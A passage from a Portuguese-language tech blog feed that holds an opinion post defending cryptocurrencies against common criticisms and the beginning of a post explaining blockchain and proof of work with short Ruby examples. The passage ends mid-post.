&lt;p&gt;Quando chegou a USD 3.000, meu interesse na plataforma foi totalmente renovado. E foi uma surpresa muito agradável ver o tamanho que isso tomou. Quem me acompanha sabe o quanto sou ávido por aprender coisas novas que têm potencial real. E também como é fácil para mim mergulhar de cabeça em algo.&lt;/p&gt;</description><content:encoded><![CDATA[<p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/665/cryptocurrencies.jpg" alt="cryptocurrencies"  loading="lazy" /></p>
<p>Depois da <a href="https://www.coindesk.com/10000-bitcoins-price-makes-history/"target="_blank" rel="noopener">histórica quebra dos USD 10.000</a> ontem, o Bitcoin e as criptomoedas em geral finalmente chegaram à mídia mainstream de forma bombástica.</p>
<p>Como muitos na área de tecnologia, eu experimentei desde o início. Eu mesmo minerava alguns bitcoins lá em 2009, depois perdi a chave privada da minha carteira, esqueci completamente do assunto, e muitos anos depois estou aqui me mordendo de arrependimento :-)</p>
<p>Quando chegou a USD 3.000, meu interesse na plataforma foi totalmente renovado. E foi uma surpresa muito agradável ver o tamanho que isso tomou. Quem me acompanha sabe o quanto sou ávido por aprender coisas novas que têm potencial real. E também como é fácil para mim mergulhar de cabeça em algo.</p>
<p>Só consigo fazer isso porque não sou fiel a nada. Não escolho e defendo uma <a href="http://www.akitaonrails.com/2016/05/31/flertando-com-crystal-perspectiva-de-um-rubyista"target="_blank" rel="noopener">única linguagem</a>, nem um <a href="http://www.akitaonrails.com/2017/01/10/arch-linux-a-melhor-distro-de-todas"target="_blank" rel="noopener">único sistema operacional</a>, nem um <a href="http://www.akitaonrails.com/2017/11/21/da-microsoft-para-a-apple-e-de-volta"target="_blank" rel="noopener">único fabricante</a>, nem um <a href="http://www.akitaonrails.com/2017/08/28/off-topic-blockchain-e-criptomoedas-no-brasil"target="_blank" rel="noopener">único mercado</a>. Ficar na posição de defender algo por defender me parece extremamente improdutivo.</p>
<p>Acredite ou não, as criptomoedas vieram para ficar, pelo menos por alguns anos. Lembro da sensação quando experimentei a internet comercial em 1993. É exatamente isso de novo: um território inexplorado com muito potencial e muita coisa que ainda não conseguimos imaginar.</p>
<p>Quem me acompanha também sabe que sou um grande defensor do uso da Razão. Odeio tanto o hype extremo quanto o FUD. Quem dissemina qualquer um dos dois está atrás de atenção fácil, sem nada útil a dizer de verdade. <em>&ldquo;Vai chegar a 100k logo! Compra agora!&rdquo;</em> ou <em>&ldquo;É uma bolha de tulipas, você é idiota se comprar!&rdquo;</em>. Os dois extremos são imbecis.</p>
<p>Educação é a base de tudo. O raciocínio é o ponto de partida.</p>
<p>Um <strong>aviso importante</strong>: não estou recomendando que ninguém compre criptomoedas sem fazer a sua própria pesquisa. Qualquer um que faz recomendações, a favor ou contra, está sendo irresponsável. Tudo que posso fazer é transmitir uma opinião pessoal e uma análise técnica. Esse é o meu papel.</p>
<p>Um exemplo: você sabia que a tão repetida <a href="https://www.smithsonianmag.com/history/there-never-was-real-tulip-fever-180964915/"target="_blank" rel="noopener">Bolha das Tulipas nunca existiu de verdade</a>? Pois é. Isso mostra como as pessoas são rápidas em compartilhar memes e fake news sem pesquisar nada.</p>
<p>E fica ainda mais hilário na área de tecnologia, onde vejo muitos &ldquo;evangelistas&rdquo; gritando sobre os &ldquo;milagres&rdquo; de abrir sua própria startup para &ldquo;disrupar&rdquo; o mercado com <a href="https://www.producthunt.com/e/uber-for-x"target="_blank" rel="noopener">mais um derivado de Uber</a>. Vamos ser diretos: qualquer coisa pode ser uma bolha.</p>
<p>O ouro só tem valor porque criamos uma história em torno dele. Ouro não se come. Ouro nem é um metal tão bom para trabalhar. Só criamos uma história e todo mundo concordou. O mesmo vale para qualquer coisa que consideramos &ldquo;valioso&rdquo;. O que é uma moeda fiduciária? É um pedaço de papel, inútil por si só. Mas se todos concordarmos com a mesma história, o &ldquo;$100&rdquo; impresso nele torna o papel supervalioso.</p>
<p>Tal é o poder da <strong>crença</strong>.</p>
<p>Tudo que fazemos exige algum nível de fé. Se presto um serviço para alguém, preciso ter fé de que serei pago no futuro. A confiança vem de um papel assinado ou mesmo de um simples e-mail, e da certeza de que as instituições vão me ajudar a cobrar esse pagamento se necessário.</p>
<p>É tudo histórias, fé e crenças. Se ainda não leu, recomendo fortemente o <a href="https://www.amazon.com/Sapiens-Humankind-Yuval-Noah-Harari/dp/0062316095"target="_blank" rel="noopener">&ldquo;Sapiens&rdquo;</a> de Yuval Harari para entender como as histórias moldam nossa história.</p>
<p>Dito isso, acho hilário que técnicos considerados &ldquo;sérios&rdquo; sejam rapidíssimos em gritar <em>&ldquo;é uma fraude!&rdquo;</em> ou <em>&ldquo;é uma bolha!&rdquo;</em> sem dedicar 1 segundo sequer para verificar os fundamentos e checar as fontes. Engenheiros deveriam saber fazer isso melhor, e essa preguiça expõe quem realmente sabe fazer análise e quem só segue multidões cegamente.</p>
<p>Não dá para dizer que eu estava errado se, por algum motivo, as criptomoedas implodissem amanhã do nada. Tampouco que os céticos estavam certos. Isso é importante: qualquer coisa no futuro é impossível de prever com certeza. Você joga com as probabilidades. Se não tem convicção, não aposte. Mas criar histórias para justificar a própria ignorância é decepcionante demais.</p>
<p>O interessante nos mercados financeiros é que eles ensinam as pessoas a lidar com a improbabilidade. Venho evangelizando Nassim Taleb neste blog <a href="http://www.akitaonrails.com/2008/10/09/off-topic-entendendo-a-crise-econ-mica"target="_blank" rel="noopener">há anos</a>, desde o colapso econômico de 2008/2009. Aprendemos muito. Aprendemos sobre &ldquo;Cisnes Negros&rdquo; e como se tornar &ldquo;Antifrágil&rdquo; e, em boa hora, como ter <a href="https://www.amazon.com/Skin-Game-Hidden-Asymmetries-Daily/dp/B077BSK9LC/ref=sr_1_1?s=books&amp;ie=UTF8&amp;qid=1512059894&amp;sr=1-1&amp;keywords=skin&#43;in&#43;the&#43;game"target="_blank" rel="noopener">&ldquo;Skin in the Game&rdquo;</a>. Engenheiros deveriam ter muito mais esse tipo de conhecimento — chegariam a soluções muito melhores.</p>
<p>Respondendo a alguns FUDs específicos que tenho lido:</p>
<blockquote>
  <p>&ldquo;É uma bolha!&rdquo;</p>

</blockquote>
<p>Pode ser. Como disse, o setor de tecnologia já é uma bolha para todo efeito. Basta alguns VCs se articularem e <a href="https://techcrunch.com/2017/11/30/theres-an-implosion-of-early-stage-vc-funding-and-no-ones-talking-about-it/"target="_blank" rel="noopener">recuarem</a> para deixar uma bomba explodindo atrás. Tudo é história, não importa o quanto você valorize algo. É simples assim.</p>
<p>Como operar dentro de uma bolha? De forma antifrágil. Antes de tudo, se você é iniciante, nunca, em hipótese alguma, invista tudo que tem. Invista apenas o que, se perder tudo, não te deixará na miséria. Isso é Investimento-101.</p>
<p>Tente comprar nas baixas e talvez vender nas altas. Ou planeje o longo prazo e faça <a href="https://coinsutra.com/hodl-popular-cryptocurrency-terms/"target="_blank" rel="noopener">HODL</a> por alguns anos. Se precisa de retornos rápidos, aprenda a operar com <a href="https://www.investopedia.com/terms/s/stop-lossorder.asp"target="_blank" rel="noopener">ordens de stop-loss</a>, por exemplo. Não tente ser mais esperto que o mercado se não tem experiência com trading. Ou tente, mas não reclame quando perder.</p>
<p>Perdas ou lucros, é sua responsabilidade e de mais ninguém — não &ldquo;do mercado&rdquo; nem &ldquo;dos especuladores&rdquo;. Todo mundo é adulto. Adultos assumem responsabilidade pelos próprios atos. Se perderam dinheiro em uma aposta que não entendiam, a culpa é deles.</p>
<blockquote>
  <p>&ldquo;A mineração consome mais energia do que alguns países pequenos!&rdquo;</p>

</blockquote>
<p>Não importa. Antes de mais nada, não estão drenando energia de graça. Todo minerador paga por ela. Agora você vai entender por que é tão problemático quando governos interferem nos mercados livres. Se algum país subsidia a energia, a fórmula de oferta e demanda vai falhar. Óbvio.</p>
<p>E os técnicos deveriam saber disso melhor. Nunca houve banda suficiente nas linhas telefônicas para todo mundo no planeta se conectar à internet. Tivemos que evoluir muito a infraestrutura. Adicionamos cabos submarinos. Saímos dos modems discados para ISDN, para modems a cabo, e assim por diante.</p>
<p>A mineração baseada em <a href="http://www.akitaonrails.com/2017/11/01/como-o-bitcoin-forca-consenso-entre-os-generais-bizantinos"target="_blank" rel="noopener">proof of work</a> consome uma quantidade enorme de energia, e com razão. Estamos trocando energia por integridade. Mas não é a única alternativa. Existem implementações de <a href="https://github.com/ethereum/wiki/wiki/Proof-of-Stake-FAQ"target="_blank" rel="noopener">proof of stake</a> começando a ser implantadas em outras alt-coins, com eficiência energética muito maior enquanto oferecem níveis similares de confiança no consenso.</p>
<p>O ponto é que a tecnologia evolui rápido e não dá para extrapolar o futuro com base no que temos hoje. É como alguém em 1993 dizendo <em>&ldquo;a internet comercial não pode acontecer porque as linhas telefônicas são lentas demais se algum dia quisermos streaming de vídeo&rdquo;</em>.</p>
<blockquote>
  <p>&ldquo;O Bitcoin é centralizado demais, isso é perigoso!&rdquo;</p>

</blockquote>
<p>Se você é programador e ainda não sabe exatamente o que significa minerar, recomendo que leia primeiro meu <a href="http://www.akitaonrails.com/2017/11/01/como-o-bitcoin-forca-consenso-entre-os-generais-bizantinos"target="_blank" rel="noopener">artigo anterior</a> sobre o assunto.</p>
<p>A mineração não é determinística. Mesmo com o melhor hardware do mundo, não há garantia de que você vai minerar o bloco primeiro. É mais como uma rifa.</p>
<p>Por isso os mineradores se organizam em pools, que dividem os ganhos entre os membros.</p>
<p>A preocupação é que <a href="https://blockchain.info/pools"target="_blank" rel="noopener">4 dos maiores pools</a> — AntPool, ViaBTC, BTC.com e BTC.TOP — &ldquo;controlam&rdquo; 62% do hashpower mundial.</p>
<p>Diz-se que quem controla 51% do hashpower poderia lançar um ataque ao blockchain, sendo capaz de reescrever blocos do passado recente e permitir double-spend, por exemplo.</p>
<p>Mas <a href="https://bitcoinmagazine.com/articles/problems-associated-with-bitcoin-mining-centralization-may-be-overstated-1474917259/"target="_blank" rel="noopener">na prática</a>, não é tão simples assim.</p>
<p>Minerar custa caro. Um equipamento de USD 20.000 consegue minerar em torno de USD 11 por dia, sem descontar todos os custos, incluindo a depreciação das máquinas. Qualquer coisa além de minerar honestamente é muito arriscada e pouco lucrativa. O sistema foi construído de forma que os hackers teriam que gastar tanto dinheiro com riscos tão altos que é mais fácil simplesmente seguir as regras.</p>
<p>E novamente, as alt-coins e forks estão experimentando novas formas de tornar isso ainda mais difícil no futuro.</p>
<blockquote>
  <p>&ldquo;A Visa processa milhares de transações por segundo. O Bitcoin jamais vai conseguir isso!&rdquo;</p>

</blockquote>
<p>De novo, argumento inútil. É como dizer <em>&ldquo;o ouro não pode ser trocado rápido o suficiente, nunca vai prestar&rdquo;</em>.</p>
<p>Já temos várias alt-coins como o Litecoin e outras tentando resolver o problema de transações rápidas. Considere que todas as alt-coins estão de certa forma atreladas ao Bitcoin, da mesma forma que o dólar já foi atrelado ao ouro. E se a chamada <a href="https://lightning.network/"target="_blank" rel="noopener">Lightning Network</a> entrar em operação, poderemos cruzar fronteiras entre blockchains com muito mais facilidade.</p>
<p>A Visa não transaciona &ldquo;cédulas&rdquo; de dólar — ela faz transações virtuais em seus bancos de dados internos. Só quando o comerciante saca é que converte para dólares em espécie.</p>
<p>Dá para adicionar Bitcoin tranquilamente ao mix de opções num sistema de transações Visa. É assim que o cartão de crédito funciona hoje: você só paga 30 dias depois. E funciona. Qual é o problema?</p>
<p>E de novo: vamos resolver isso com o tempo. Deixa as tecnologias amadurecerem, a demanda aparecer e a solução vai surgir.</p>
<blockquote>
  <p>&ldquo;Não tem nenhuma função social.&rdquo;</p>

</blockquote>
<p>Grande parte das críticas às criptomoedas vêm da população &ldquo;elite&rdquo; dos países do primeiro mundo. Se você é uma pessoa branca nos EUA com uma boa renda em dólares, ou alguém parecido na Europa com bastante Euro, sua principal preocupação é <em>&ldquo;o Bitcoin é lento demais para comprar no shopping&rdquo;</em> ou <em>&ldquo;as taxas de transação são altas demais para o meu café diário no Starbucks&rdquo;</em>. E aí começa a gritar que <em>&ldquo;o Bitcoin não tem função social&rdquo;</em>.</p>
<p>Mas isso é absurdo. Você não mora na América do Sul, na África, no Sudeste Asiático. Você não está na Venezuela, onde a moeda foi destruída pela ditadura vigente. Consegue imaginar a sua amada nota de dólar valendo menos que papel higiênico?</p>
<p>Você não mora no Zimbábue onde o exército <a href="http://www.telegraph.co.uk/technology/2017/11/20/bitcoin-has-become-zimbabwes-crisis-currency/"target="_blank" rel="noopener">tomou o poder</a>. Não mora na Ásia, lugar sob ameaça constante de <a href="https://www.express.co.uk/news/world/886680/North-Korea-news-North-Korea-update-World-War-3-Donald-Trump-Kim-Jong-un-missile-test"target="_blank" rel="noopener">mísseis nucleares</a> do ditador maluco Kim Jong-Un.</p>
<p>Então, tudo bem, não tem função social para a sua cota diária de açúcar no 7-Eleven. É lento demais para comprar refrigerante em galão e as taxas são altas demais. Mas se você mora em qualquer lugar do mundo onde o governo representa uma ameaça aos cidadãos, ter uma <strong>reserva de valor</strong> descentralizada e sem regulação governamental, que você pode tirar facilmente do país opressor, é algo que <strong>salva vidas</strong>. Mesmo em países como o meu, o Brasil, você não quer ter tudo em Reais caso candidatos a ditadores como Lula ou Bolsonaro realmente percam o juízo e deem um golpe.</p>
<blockquote>
  <p>&ldquo;Não vejo sentido nisso. Simplesmente não vejo. E não me importo.&rdquo;</p>

</blockquote>
<p>Isso é a coisa mais honesta que se pode dizer — pelo menos assume a própria ignorância e a própria falta de interesse.</p>
<p>E há uma boa razão para isso. Em termos de tecnologia, os EUA seguem o que o Vale do Silício diz. E muitos outros países simplesmente repetem o que vem de lá. Então os técnicos estão acostumados a seguir o que Google, Facebook ou Apple estão dizendo.</p>
<p>Mas a tecnologia blockchain não veio diretamente deles. Não é um produto do Google. E pior: ela mexe com as frágeis crenças morais dessas pessoas. Elas acham normal receber enormes quantias de dinheiro de VC como &ldquo;recompensa&rdquo; pelo que &ldquo;acreditam&rdquo;, pela sua &ldquo;cultura&rdquo;, pelos seus &ldquo;valores&rdquo; arbitrários. Não acreditam em ganhar o próprio dinheiro. E mesmo que os VCs sejam do mercado financeiro, os técnicos desprezam Wall Street e as finanças. Os hipsters do Starbucks odeiam os traders de terno e gravata e suas supostas &ldquo;táticas sujas&rdquo; para ganhar dinheiro.</p>
<p>É hilário, no fim das contas todo mundo quer uma coisa e uma coisa só: mais dinheiro. Mas os hipsters são muito hipócritas para admitir isso. <em>&ldquo;Não quero dinheiro, quero disrupar o mercado&rdquo;</em>. Claro, pode continuar se dizendo isso.</p>
<p>Agora, considere que todo esse buzz das criptomoedas não vem do Ocidente. Vem todo da Ásia. Japão, Coreia do Sul, Cingapura, China — são eles que estão conduzindo o mercado. O Japão, como país, já regulamentou e aceitou o Bitcoin como moeda de verdade e detém sozinho <a href="https://cointelegraph.com/news/bitcoin-price-surpasses-1000000-yen-as-japan-seizes-nearly-60-market-share"target="_blank" rel="noopener">60% do market share</a>.</p>
<p>Esse é um fenômeno fortemente impulsionado pela Ásia. E estamos só no começo.</p>
<p>Portanto, não estamos mais no cenário de <em>&ldquo;se isso acontecer&rdquo;</em>. Já aconteceu. Gigantes como o <a href="https://seekingalpha.com/article/4128569-5-things-aware-cme-bitcoin-futures"target="_blank" rel="noopener">CME Group</a> e a <a href="https://www.bloomberg.com/news/articles/2017-11-29/nasdaq-is-said-to-plan-bitcoin-futures-joining-biggest-rivals"target="_blank" rel="noopener">Nasdaq</a> vão começar a oferecer produtos de Bitcoin. Estamos perdendo tempo discutindo questões triviais e idiotas que serão resolvidas no longo prazo.</p>
<p>As criptomoedas vieram para ficar. Minha recomendação para quem realmente valoriza o conhecimento: estude o assunto.</p>
]]></content:encoded><category>bitcoin-e-criptomoedas</category><category>economia</category><category>pessoal</category></item><item><title>Como o Bitcoin Força Consenso entre os Generais Bizantinos?</title><link>https://akitaonrails.github.io/2017/11/01/como-o-bitcoin-forca-consenso-entre-os-generais-bizantinos/</link><guid isPermaLink="true">https://akitaonrails.github.io/2017/11/01/como-o-bitcoin-forca-consenso-entre-os-generais-bizantinos/</guid><pubDate>Wed, 01 Nov 2017 14:02:00 -0200</pubDate><description>&lt;p&gt;&lt;em&gt;&amp;ldquo;Dá pra quebrar o blockchain?&amp;rdquo;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;É uma pergunta justa. Quem conhece minimamente a arquitetura do blockchain conclui instintivamente que &amp;ldquo;não&amp;rdquo;, é praticamente improvável que alguém consiga quebrar. Na prática, é basicamente impossível.&lt;/p&gt;
&lt;p&gt;O que me espanta é que a maioria dos programadores que conheço tem uma dificuldade enorme de superar o preconceito contra criptomoedas. Não faço ideia de onde vem esse preconceito, mas conheço pessoas muito inteligentes que resolvem os problemas mais difíceis de escalabilidade web e nunca deram uma olhada sequer no paper original de Satoshi Nakamoto — um documento curtíssimo descrevendo o blockchain.&lt;/p&gt;</description><content:encoded><![CDATA[<p><em>&ldquo;Dá pra quebrar o blockchain?&rdquo;</em></p>
<p>É uma pergunta justa. Quem conhece minimamente a arquitetura do blockchain conclui instintivamente que &ldquo;não&rdquo;, é praticamente improvável que alguém consiga quebrar. Na prática, é basicamente impossível.</p>
<p>O que me espanta é que a maioria dos programadores que conheço tem uma dificuldade enorme de superar o preconceito contra criptomoedas. Não faço ideia de onde vem esse preconceito, mas conheço pessoas muito inteligentes que resolvem os problemas mais difíceis de escalabilidade web e nunca deram uma olhada sequer no paper original de Satoshi Nakamoto — um documento curtíssimo descrevendo o blockchain.</p>
<p>Sério, o paper <a href="https://bitcoin.org/bitcoin.pdf"target="_blank" rel="noopener">Bitcoin: A Peer-to-Peer Electronic Cash System</a> é tão ridiculamente pequeno e fácil de entender que qualquer estudante de ciência da computação consegue acompanhar. Qualquer programador mediano lê e entende em uns 30 minutos.</p>
<p>O modelo mental mais simples é o de uma Lista Ligada, onde cada nó da lista é o que chamamos de Bloco. Cada Bloco é uma struct simples, com os ponteiros de anterior/próximo de sempre, e um corpo em estrutura de árvore (uma <a href="https://brilliant.org/wiki/merkle-tree/"target="_blank" rel="noopener">Merkle Tree</a>, para ser preciso).</p>
<p>O detalhe que muda tudo: cada bloco carrega a assinatura hash do bloco anterior, formando uma &ldquo;cadeia&rdquo; segura. Daí o nome &ldquo;block-chain&rdquo;.</p>
<p>Em termos de ciência da computação, estamos falando de estruturas de dados de primeiro ano. Se você entende Lista Ligada e Árvore Binária, mais a coisa mais simples de criptografia — um Digest Hash como SHA256 —, pronto, você entende a espinha dorsal do banco de dados blockchain.</p>
<p>Porque é só um banco de dados. Um banco distribuído, para ser mais exato. Ou melhor: um banco distribuído bastante cru e simples. Não é eficiente, fica atrás de bancos NoSQL distribuídos sérios como Redis ou Cassandra. As capacidades de consulta são praticamente inexistentes além de encontrar um bloco pelo seu identificador.</p>
<p>Claro, o código-fonte do Bitcoin é mais sofisticado do que isso — mas o básico é tão simples que você não precisa de mais de 20 linhas de Ruby para replicar. Veja esta implementação de exemplo do <a href="https://github.com/openblockchains/awesome-blockchains/tree/master/blockchain.rb"target="_blank" rel="noopener">Gerald Bauer</a>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="nb">require</span> <span class="s2">&#34;digest&#34;</span>    <span class="c1"># for hash checksum digest function SHA256</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">Block</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="kp">attr_reader</span> <span class="ss">:index</span>
</span></span><span class="line"><span class="cl">  <span class="kp">attr_reader</span> <span class="ss">:timestamp</span>
</span></span><span class="line"><span class="cl">  <span class="kp">attr_reader</span> <span class="ss">:data</span>
</span></span><span class="line"><span class="cl">  <span class="kp">attr_reader</span> <span class="ss">:previous_hash</span>
</span></span><span class="line"><span class="cl">  <span class="kp">attr_reader</span> <span class="ss">:hash</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">def</span> <span class="nf">initialize</span><span class="p">(</span><span class="n">index</span><span class="p">,</span> <span class="n">data</span><span class="p">,</span> <span class="n">previous_hash</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="vi">@index</span>         <span class="o">=</span> <span class="n">index</span>
</span></span><span class="line"><span class="cl">    <span class="vi">@timestamp</span>     <span class="o">=</span> <span class="no">Time</span><span class="o">.</span><span class="n">now</span>
</span></span><span class="line"><span class="cl">    <span class="vi">@data</span>          <span class="o">=</span> <span class="n">data</span>
</span></span><span class="line"><span class="cl">    <span class="vi">@previous_hash</span> <span class="o">=</span> <span class="n">previous_hash</span>
</span></span><span class="line"><span class="cl">    <span class="vi">@hash</span>          <span class="o">=</span> <span class="n">calc_hash</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">def</span> <span class="nf">calc_hash</span>
</span></span><span class="line"><span class="cl">    <span class="n">sha</span> <span class="o">=</span> <span class="no">Digest</span><span class="o">::</span><span class="no">SHA256</span><span class="o">.</span><span class="n">new</span>
</span></span><span class="line"><span class="cl">    <span class="n">sha</span><span class="o">.</span><span class="n">update</span><span class="p">(</span> <span class="vi">@index</span><span class="o">.</span><span class="n">to_s</span> <span class="o">+</span> <span class="vi">@timestamp</span><span class="o">.</span><span class="n">to_s</span> <span class="o">+</span> <span class="vi">@data</span> <span class="o">+</span> <span class="vi">@previous_hash</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">sha</span><span class="o">.</span><span class="n">hexdigest</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">first</span><span class="p">(</span> <span class="n">data</span><span class="o">=</span><span class="s2">&#34;Genesis&#34;</span> <span class="p">)</span>    <span class="c1"># create genesis (big bang! first) block</span>
</span></span><span class="line"><span class="cl">    <span class="c1">## uses index zero (0) and arbitrary previous_hash (&#34;0&#34;)</span>
</span></span><span class="line"><span class="cl">    <span class="no">Block</span><span class="o">.</span><span class="n">new</span><span class="p">(</span> <span class="mi">0</span><span class="p">,</span> <span class="n">data</span><span class="p">,</span> <span class="s2">&#34;0&#34;</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">next</span><span class="p">(</span> <span class="n">previous</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="s2">&#34;Transaction Data...&#34;</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="no">Block</span><span class="o">.</span><span class="n">new</span><span class="p">(</span> <span class="n">previous</span><span class="o">.</span><span class="n">index</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span> <span class="n">data</span><span class="p">,</span> <span class="n">previous</span><span class="o">.</span><span class="n">hash</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Pois é.</p>
<p>Uma pergunta permanece: como essa estrutura simples vira um banco de dados &ldquo;distribuído&rdquo;?</p>
<p>Você precisa de uma &ldquo;cópia-mestra&rdquo; centralizada da qual todas as outras cópias replicam — ou precisa de alguma forma de &ldquo;consenso&rdquo; entre as cópias diferentes.</p>
<p>Como chegar a consenso entre nós aleatórios e sem controle espalhados pelo globo? Esse é o problema chamado <a href="http://pmg.csail.mit.edu/papers/osdi99.pdf"target="_blank" rel="noopener">&ldquo;Tolerância a Falhas Bizantinas&rdquo;</a>, explicado e resolvido brilhantemente por Barbara Liskov e Miguel Castro, do MIT, em 1999.</p>
<p>Em resumo: imagine generais bizantinos, cada um com seu próprio exército, cercando uma cidade hostil. A decisão é atacar ou recuar. Mas todos os generais precisam tomar a mesma decisão, em consenso. Como chegar a esse consenso quando não há comunicação direta com todos os generais e, pior, quando alguns podem ser traidores ou agentes duplos?</p>
<p>Esse é exatamente o tipo de problema que temos aqui. Qualquer pessoa na internet pode baixar uma cópia do blockchain e verificar que os blocos são válidos e não adulterados, recomputando os hashes de cada bloco.</p>
<p>Mas como adicionar novos blocos e fazer os outros nós aceitarem o seu bloco?</p>
<p>Foi por isso que Satoshi adicionou o chamado &ldquo;Proof of Work&rdquo; à equação. Cada bloco está encadeado ao anterior por conter o hash do bloco anterior — e computar um hash digest é algo trivial hoje em dia.</p>
<p>Em Ruby, por exemplo:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="no">Digest</span><span class="o">::</span><span class="no">SHA256</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">(</span><span class="s2">&#34;abcd&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; &#34;88d4266fd4e6338d13b845fcf289579d209c897823b9217da3e161936f031589&#34;</span>
</span></span><span class="line"><span class="cl"><span class="no">Digest</span><span class="o">::</span><span class="no">SHA256</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">(</span><span class="s2">&#34;123&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; &#34;a665a45920422f9d417e4867efdc4fb8a04a1f3fff1fa07e998e86f7f7a27ae3&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Isso roda em uma <strong>fração de milissegundo</strong>.</p>
<p>Agora, e se eu pedir para você encontrar o hash que começa com uma certa quantidade de &ldquo;zeros&rdquo; no início?</p>
<p>Por exemplo:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="c1"># Quero encontrar 4 zeros (&#34;0000&#34;) no hash:</span>
</span></span><span class="line"><span class="cl"><span class="no">Digest</span><span class="o">::</span><span class="no">SHA256</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">(</span><span class="s2">&#34;79026&#34;</span> <span class="o">+</span> <span class="s2">&#34;123&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; &#34;0000559fb4a55f135c7db3d83405b86b4b63cd035993873a5b676bae08b64334&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Como eu sei que preciso acrescentar &ldquo;79026&rdquo; antes? Não sei. Preciso começar do zero e incrementar um a um até encontrar o hash no formato desejado.</p>
<p>Olhando o <a href="https://github.com/openblockchains/awesome-blockchains/blob/master/blockchain.rb/blockchain_with_proof_of_work.rb#L29-L45"target="_blank" rel="noopener">exemplo do Gerald</a>, implementaríamos essa busca assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

